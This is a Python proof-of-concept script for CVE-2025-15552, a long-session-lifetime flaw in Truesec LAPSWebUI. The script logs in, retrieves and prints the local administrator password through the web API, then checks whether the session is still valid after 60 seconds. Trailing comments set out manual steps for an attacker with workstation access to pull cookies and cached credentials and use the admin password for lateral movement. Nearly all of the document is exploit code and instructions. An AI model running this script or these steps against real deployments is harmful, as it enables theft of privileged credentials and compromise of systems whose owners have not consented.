CVE-2025-15552

# CVE-2025-15552 PoC - Truesec LAPSWebUI Session Exploitation # This PoC demonstrates the session expiration vulnerability in LAPSWebUI < 2.4 # Reference: https://labs.reversec.com/advisories/2026/03/long-session-lifetime-in-truesec-lapswebui import requests import time import sys from datetime import datetime def check_session_vulnerability(target_url): """ Check if target LAPSWebUI is vulnerable to session expiration issue. """ print(f"[*] Target: {target_url}") print(f"[*] Starting vulnerability check at {datetime.now()}") # Create a session to maintain cookies session = requests.Session() # Step 1: Initial authentication print("\n[1] Attempting initial authentication...") auth_data = { "username": "victim_user", "password": "user_password" } try: # Note: Adjust endpoint based on actual LAPSWebUI deployment auth_response = session.post(f"{target_url}/api/auth/login", json=auth_data, timeout=10) if auth_response.status_code == 200: print("[+] Authentication successful") print(f"[+] Session cookies obtained: {list(session.cookies.keys())}") # Step 2: Request local admin password print("\n[2] Requesting local admin password...") password_response = session.get(f"{target_url}/api/laps/password", timeout=10) if password_response.status_code == 200: admin_password = password_response.json().get('password') print(f"[+] Admin password retrieved: {admin_password}") # Step 3: Check session persistence (the vulnerability) print("\n[3] Testing session persistence (vulnerability check)...") print("[*] Waiting 60 seconds to check if session remains valid...") time.sleep(60) # Attempt to use the same session after delay delayed_response = session.get(f"{target_url}/api/laps/password", timeout=10) if delayed_response.status_code == 200: print("[!] VULNERABLE: Session remained active after 60 seconds") print("[!] This indicates insufficient session expiration") print(f"[!] Extended session allows privilege escalation via password disclosure") return True else: print("[+] Session properly expired") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-15552-poc.py <target_url>") print("Example: python cve-2025-15552-poc.py http://localhost:5000") sys.exit(1) target = sys.argv[1] vulnerable = check_session_vulnerability(target) if vulnerable: print("\n" + "="*60) print("RESULT: Target is VULNERABLE to CVE-2025-15552") print("Attack vector: Local workstation access with extended session") print("Impact: Local admin password disclosure leading to privilege escalation") print("="*60) elif vulnerable is False: print("\n[+] Target appears to be patched (session properly expires)") else: print("\n[-] Could not determine vulnerability status") if __name__ == "__main__": main() # Additional manual exploitation steps: # 1. Attacker gains local access to workstation running LAPSWebUI # 2. Open browser developer tools (F12) # 3. Navigate to Application/Storage tab to examine session cookies # 4. Check localStorage/sessionStorage for cached credentials # 5. If session still active, make direct API calls to extract admin password # 6. Use obtained password for lateral movement or full system compromise

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